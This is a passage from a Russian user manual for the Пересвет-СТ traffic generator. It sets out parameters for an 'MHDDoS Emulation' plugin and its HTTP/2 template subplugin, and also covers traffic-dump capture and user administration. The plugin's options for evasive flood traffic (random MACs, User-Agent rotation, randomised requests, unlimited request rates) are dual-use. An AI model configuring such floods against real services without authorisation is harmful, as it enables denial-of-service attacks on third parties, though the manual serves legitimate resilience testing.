| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 142;
Табл. 142 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 143;
Табл. 143 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 1.1 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | Выберете из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 144;
Табл. 144 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «0» |
H2 HTTP TEMPLATE
H2 HTTP TEMPLATE – подплагин для генерации трафика, направленный на генерацию HTTP-запросов по заданному шаблону для имитации легитимного или вредоносного трафика, используя протокол HTTP 2.
Данный плагин состоит из следующих параметров:
-
Тумблер «Активировать подплагин» - для включения подплагина в рамках плагина «MHDDoS Emulation».
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 145;
Табл. 145 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 146;
Табл. 146 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 147;
Табл. 147 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 148;
Табл. 148 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
- Параметры HTTP - параметры настроек HTTP заголовков на уровне L6-L7 TPC/IP, описание которых указано в Табл. 149;
Табл. 149 – Параметры «Параметры HTTP»
| Название | Описание | Значение |
|---|---|---|
| HTTPs | Указывает, используется ли защищенный протокол передачи данных HTTPS | Да / Нет (укажите текущее состояние переключателем тумблера) |
| Версия TLS | Версия TLS (Transport Layer Security) определяет протокол шифрования, используемый для обеспечения безопасной передачи данных между клиентом и сервером Параметр доступен, если параметр HTTPs включен | Выберете значение TLS v1.2 или TLS v1.3 |
| Версия HTTP | Указывает версию протокола HTTP, используемую для передачи данных. | По умолчанию, задано значение HTTP 2 |
| User-Agent | Заголовок, который идентифицирует клиентское приложение (например, браузер) и операционную систему, с которой осуществляется запрос. | Введите значение заголовка: по умолчанию, ${userAgent} - Обеспечивает ротацию User-Agent: для каждого запроса выбирается случайный валидный вариант из списка в веб-интерфейсе |
| Путь | Указывает путь к запрашиваемому ресурсу на сервере. Это часть URL, которая следует за доменным именем. | Введите значение пути (по умолчанию, значение пути является корневая директория сервера: «/») |
| HTTP метод | Метод, используемый для запроса ресурса на сервере. | Выберете из следующего списка: GET POST PUT PATCH DELETE |
| HTTP статус | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы содержащие код ответа 3ХХ будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «location» | Включить/выключить тумблер |
| HTML Meta Refresh | Опция, отвечающая за отслеживание переадресации сессии в сторону цели. Если опция включена: все ответные запросы, содержащие в ответе HTML страницу с meta-тегом «refresh» будут отработаны и сессия вместе с последующим трафиком в рамках этой сессии будет перенаправлен в цель, указанную в заголовке «content», включая задержку | Включить/выключить тумблер |
| Глубина | Значение максимально допустимого количества переадресаций в рамках одной TCP сессии | Задайте свое значение (по умолчанию, значение равно «20») |
| Query параметры | Параметры, передаваемые в URL после знака вопроса (?) | Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Тело запроса | Часть HTTP-запроса, содержащая данные, которые клиент отправляет серверу (например, форму или JSON) Параметр доступен если выбраны методы: POST, PUT или PATCH | Заполните поле «тело запроса» следующим образом: Введите значение тело запроса ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
| Заголовки | Дополнительные метаданные, отправляемые вместе с HTTP-запросом. | Значения по умолчанию: «Accept»:« */*»; «Accept-Encoding»:« gzip,deflate,br»; «Accept-Language»:«ru-RU,ru;q=0.9,en-US,en;q=0.7»; «Cache-Control»:«max-age=0»; «Sec-Fetch-Mode»:«navigate»; «Sec-Fetch-Site»:«same-origin»; «Sec-Fetch-User»:«71»; «Sec-Fetch-Dest»:«document»; «Pragma»:«no-cache»; Введите значение после нажатия кнопки «Добавить параметры»: Введите свое значение ${str(length)} - Формирует произвольную комбинацию символов заданной длины (пример: ${str(16)}) ${strMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов с длиной в указанных пределах (пример: ${strMinMax(16,24)}) ${hex(length)} - Формирует произвольную комбинацию символов заданной длины в шестнадцатеричном формате (пример: ${hex(16)}) ${hexMinMax(min\_length,max\_length)} - Формирует произвольную комбинацию символов в шестнадцатеричном формате в указанных пределах (пример: ${hexMinMax(16,24)}) ${email} - Формирует валидный email со случайным именем пользователя и доменом ${login} - Формирует валидный логин пользователя ${password}- Формирует валидный пароль пользователя |
- Параметры сессии - параметры, касающиеся управления сессиями в рамках текущего плагина, описание которых указано в Табл. 150;
Табл. 150 – Параметры «Параметры сессии»
| Название | Описание | Значение |
|---|---|---|
| Общее количество сессий | Максимальное количество одновременно активных сессий, которые могут быть установлены в рамках плагина. | Задайте числовое значение Значение по умолчанию: «10» |
| Тайм-аут повторного подключения | Время в секундах, в течение которого Пересвет-СТ будет пытаться восстановить соединение после его разрыва. Если соединение не будет восстановлено в указанный период, сессия будет закрыта. | Задайте числовое значение Значение по умолчанию: «0» |
| Подключений в секунду | Максимальное количество новых сессий, которые могут быть установлены за одну секунду. | Задайте числовое значение Значение по умолчанию: «1» |
| Макс. стримов (на сессию) | Максимальное количество потоков данных, которые могут быть активны в одной сессии. Параметр доступен только при включении H2 в «Параметрах HTTP». | Задайте числовое значение Значение по умолчанию: «20» |
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить По умолчанию, тумблер включен. |
| Запросов в секунду (на сессию) | Максимальное количество запросов, которые могут быть обработаны в секунду для одной сессии/стрима. | Задайте числовое значение По умолчанию выставлено значение: 10. |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение Значение по умолчанию: «0» |
После включения подплагинов необходимо указать длительность работы плагина MHDDOS Emulation
Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 151.
Табл. 151 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
Настройка «Дампы трафика»
Вкладка "Дампы трафика" в веб-интерфейсе позволяет включать запись входящего и исходящего трафика в формате pcap, а также запрашивать эти записи с агента как до завершения, так и после завершения задачи по генерации трафика.
Включение записи трафика
Для просмотра записи отправленного и принятого трафика Пересвет-СТ необходимо включить запись дампов трафика.
Для этого необходимо:
-
Подключиться к веб-интерфейсу Пересвет-СТ.
-
Перейти в раздел Задачи
-
Выбрать задачу, по которой необходимо собрать запись трафика.
-
Перейти в настройки включения записи трафика, нажав на кнопку «Дампы трафика» (см. Рис. 7)
Рис. 7 – Кнопка «Дампы трафика»
-
Переключите тумблер «Запись дампов трафика»
-
Заполните поле «Значение»
-
Выберете величину из списка:
- Bytes – в байтах
- KB – в килобайтах
- MB – в мегобайтах
- GB – в гигобайтах.
-
Далее необходимо перейти в настройки выбранной задачи и запустить задачу
-
Далее перейти настройки включения записи трафика, нажав на кнопку «Дампы трафика»
-
В окне «Дампы трафика» присутствует таблица с сделанными записями трафика. Справа от выбранной записи нажмите кнопку «Скачать» и дождитесь загрузки записи трафика.
В этой таблице отображаются дампы, собранные в процессе выполнения данной задачи. Для их появления и возможности скачивания должна быть активирована опция записи. Снимки попадают в таблицу в следующих случаях:
• Когда задача завершается (неважно, автоматически или вы сделали это вручную).
• Если во время выполнения задачи запросили дамп с какого-то конкретного агента
Для повторного запроса записи файлов с агента необходимо нажать кнопку «Обновить список файлов».
Запрос записи трафика
В процессе выполнения задачи вы можете запросить дамп у агента. После отправки запроса на получение дампа, файл появится на контроллере. При завершении задачи, дампы автоматически загружаются на контроллер и доступны для скачивания.
Для этого необходимо:
-
Подключиться к веб-интерфейсу Пересвет-СТ.
-
Перейти в раздел Задачи
-
Выбрать задачу, по которой необходимо собрать запись трафика.
-
Перейти в настройки включения записи трафика, нажав на кнопку «Дампы трафика» (см. Рис. 7), убедится, что запись дампов трафика включена.
-
Далее необходимо вернуться в задачу и включить ее.
-
Далее вернуться в настройки включения записи трафика, нажав на кнопку «Дампы трафика»
-
В окне «Дампы трафика» нажать на кнопку «Задействованные агенты»
-
Далее, в строке необходимого агента нажмите на кнопку «Запросить дамп»
-
Далее необходимо нажать на кнопку «Обзор файлов»
Важно: процесс запроса дампа трафика с агента на контроллер занимает некоторое время в зависимости от нагрузки внутри задачи и объёма дампа трафика.
-
Далее необходимо нажать на кнопку «Обновить список файлов»
-
В окне «Дампы трафика» присутствует таблица с сделанными записями трафика. Справа от появившейся записи нажмите кнопку «Скачать» и дождитесь загрузки записи трафика.
Настройка «Пользователи и группы»
Вкладка "Пользователи и группы" в веб-интерфейсе позволяет удобно управлять учетными записями: создавать, редактировать и удалять пользователей и группы, обеспечивая эффективное администрирование доступа и ролей в системе.
Настройка «Групп»
Создание группы
Для того, чтобы создать группу для пользователей необходимо:
-
Перейти в раздел Пользователи → Группы;
-
Далее нажать на кнопку «Создать Группу» (рис. Рис. 8)
Рис. 8 – Кнопка «Создать группу»
-
В окне «Новый пользователь» заполнить поле «Название группы»
-
Выбрать права пользователей группы из следующего списка:
- Доступ к дашбордам
- Создание групп
- Удаление групп
- Чтение групп
- Редактирование групп
- Чтение логов
- Чтение настроек
- Редактирование настроек
- Чтение задач
- Редактирование задач
- Блокировка пользователей
- Создание пользователей
- Удаление пользователей
- Чтение пользователей
- Редактирование пользователей
-
Далее, для создания группы необходимо нажать на кнопку «Применить».
Редактирование группы
Для того, чтобы редактировать группу для пользователей необходимо:
-
Перейти в раздел Пользователи → Группы;
-
Выбрать нужную группу и напротив нее нажать на кнопку
-
Выполнить необходимое изменение в параметрах «Название группы» «Права пользователей в группе»
-
Далее, для сохранения настроек групы необходимо нажать на кнопку «Применить».
Удаление группы
Для того, чтобы удалить группу для пользоветелей необходимо:
-
Перейти в раздел Пользователи → Группы;
-
Выбрать нужную группу и напротив нее нажать на кнопку
-
Далее, в появившемся окне «Удаление группы» для выбранной группы подтвердите удаление, нажатием кнопки «Подтвердить».
Настройка «Пользователей»
Создание пользователя
Для того, чтобы создать группу для пользоветелй необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Далее нажать на кнопку «Создать Пользователя» (рис. Рис. 9);
Рис. 9 – Кнопка «Создать Пользователя»
-
В окне «Новый пользователь» заполнить поле «Адрес эл. почты»;
-
Заполнить поле «Имя пользователя»;
-
Выбрать соответстсвующую группу из списка групп;
-
Далее, для создания пользователя необходимо нажать на кнопку «Применить»;
-
После это в окне «Данные для входа» появятся пара логина и пароля для прохождения аутентификации в веб-интерфейсе;
-
При первой аутентификации пользователю будет предложено сменить пароль (см. П 4.2.1.1).
Редактирование пользователя
Для того, чтобы редактировать данные пользователя необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Выбрать нужного пользователя и напротив нее нажать на кнопку
и в появившемся окне нажать кнопку «Редактировать».
-
Выполнить необходимое изменение в параметрах пользователя
-
Далее, для сохранения настроек пользователя необходимо нажать на кнопку «Применить».
Блокировка пользователя
Для того, чтобы редактировать данные пользователя необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Выбрать нужного пользователя и напротив нее нажать на кнопку
и в появившемся окне нажать кнопку «Заблокировать».
-
Далее, для применения блокировки к пользователю необходимо нажать на кнопку «Применить».
-
Далее напротив заблокированного пользователя в столбце «Статус» у него изменится состояние с «Активный» на «Заблокированный»
Удаление пользователя
Для того, чтобы удалить пользователя необходимо:
-
Перейти в раздел Пользователи → Пользователи;
-
Выбрать нужного пользователя и напротив нее нажать на кнопку
-
Далее, в появившемся окне «Удаление пользователя» для выбранного пользователя подтвердите удаление, нажатием кнопки «Подтвердить».
Перечень принятых сокращений
| HTTP/HTTPS | Протокол прикладного уровня передачи данных |
|---|---|
| IP-адрес | Уникальный адрес, идентифицирующий устройство в интернете или локальной сети |
| SSL | Криптографический протокол |
| ВМ | Виртуальная машина |
| TCP | Протоколом транспортного уровня |
| СУБД | Система управления базой данных |
| ПО | Программное обеспечение |